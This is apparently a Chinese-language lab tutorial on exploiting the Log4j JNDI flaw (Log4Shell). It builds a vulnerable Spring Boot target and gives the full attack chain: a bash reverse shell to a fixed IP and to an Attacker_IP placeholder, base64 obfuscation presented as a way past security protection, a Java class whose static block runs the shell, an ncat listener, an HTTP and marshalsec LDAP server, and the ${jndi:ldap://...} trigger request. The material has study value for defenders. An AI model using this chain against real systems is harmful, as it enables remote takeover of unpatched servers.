本文仅供交流学习使用
Log4j
靶机
log4j 2.4.1, springboot应用
pom 中排除默认的springboot 日志(logback), 引入 log4j
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64
| <?xml version="1.0" encoding="UTF-8"?> <project xmlns="http://maven.apache.org/POM/4.0.0" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:schemaLocation="http://maven.apache.org/POM/4.0.0 https://maven.apache.org/xsd/maven-4.0.0.xsd"> <modelVersion>4.0.0</modelVersion> <parent> <groupId>org.springframework.boot</groupId> <artifactId>spring-boot-starter-parent</artifactId> <version>2.1.3.RELEASE</version> <relativePath/> </parent> <groupId>com.example</groupId> <artifactId>log4j2_rce</artifactId> <version>0.0.1-SNAPSHOT</version> <name>log4j2_rce</name> <description>log4j2_rce</description> <properties> <java.version>1.8</java.version> </properties> <dependencies> <dependency> <groupId>org.springframework.boot</groupId> <artifactId>spring-boot-starter</artifactId> <exclusions> <exclusion> <groupId>org.springframework.boot</groupId> <artifactId>spring-boot-starter-logging</artifactId> </exclusion> </exclusions> </dependency> <dependency> <groupId>org.springframework.boot</groupId> <artifactId>spring-boot-starter-test</artifactId> <scope>test</scope> </dependency> <dependency> <groupId>org.springframework.boot</groupId> <artifactId>spring-boot-starter-web</artifactId> <version>2.6.1</version> <scope>compile</scope> </dependency> <dependency> <groupId>org.apache.logging.log4j</groupId> <artifactId>log4j-api</artifactId> <version>2.14.0</version> </dependency> <dependency> <groupId>org.apache.logging.log4j</groupId> <artifactId>log4j-core</artifactId> <version>2.14.0</version> </dependency> </dependencies>
<build> <plugins> <plugin> <groupId>org.springframework.boot</groupId> <artifactId>spring-boot-maven-plugin</artifactId> </plugin> </plugins> </build> </project>
|
模拟靶机环境,调用 log.error
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22
| @RestController @SpringBootApplication public class Demo1Application {
private static final Logger logger = LogManager.getLogger(Demo1Application.class);
public static void main(String[] args) { SpringApplication.run(Demo1Application.class, args); }
@GetMapping({"/s"}) public String hello(@RequestParam("payload") String payload) { System.setProperty("com.sun.jndi.ldap.object.trustURLCodebase", "true"); System.setProperty("com.sun.jndi.rmi.object.trustURLCodebase", "true"); logger.error("{}", payload); logger.info("{}", payload); logger.info(payload); logger.error(payload); return payload; } }
|
直接启动靶机即可
攻击机
首先编译一个类,类中通过 static
块反弹shell,可以通过 b64编码绕过部分安全防护
bash -i >& /dev/tcp/192.168.137.156/7777 0>&1
=b64> YmFzaCAtaSAgPiYgL2Rldi90Y3AvMTkyLjE2OC4xMzcuMTU2Lzc3NzcgIDA+JjE=
反弹shell命令
1 2 3 4 5 6 7 8 9
| # 目标是在靶机上执行该命令 bash -i >& /dev/tcp/Attacker_IP/7777 0>&1
# b64 编码 # bash -c {echo,YmFzaCAtaSAgPiYgL2Rldi90Y3AvMTkyLjE2OC4xMzcuMTU2Lzc3NzcgIDA+JjE=}|{base64,-d}|{bash,-i}
# 攻击机监听端口 ncat -lvvp 7777
|
javac
后拿到 Inject.class
1 2 3 4 5 6 7 8 9 10 11 12 13
| public class Inject {
public Inject(){} static { try { String[] cmd = {"/bin/bash", "-c", "{echo,YmFzaCAtaSAgPiYgL2Rldi90Y3AvMTkyLjE2OC4xMzcuMTU2Lzc3NzcgIDA+JjE=}|{base64,-d}|{bash,-i}"}; Runtime.getRuntime().exec(cmd); } catch (Exception e) { e.printStackTrace(); } } }
|
随便架一个资源服务,能暴露 Inject.class
即可,简单的方式就是对应目录下 python3 -m http.server port
最后我们在攻击机上搭建 ldap
服务,然后为上面这个资源服务做一个中转即可,目的是为了提供ldap
协议支持
启动 ldap, 仓库地址
java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer "资源服务器路径/#Inject"
过程梳理
目前又一个资源服务器,只提供下载 Inject.class
的功能,Inject
类中static
块加载时会触发 GetShell
靶机明显就是通过 log.error
漏洞加载这个 Inject.class
,最终会被我们攻击机的 ncat
拿到反弹的 shell
。
所以我们向靶机发起 payload
: GET http://localhost:8001/s?payload=${jndi:ldap://服务ldap路径/Inject}
触发它去加载远程的 ldap
服务所 转发 的 资源服务 的 Inject.class
从而直接触发 static
的 getShell
,
同时我们提前开启监听的ncat
就会捕获这个 shell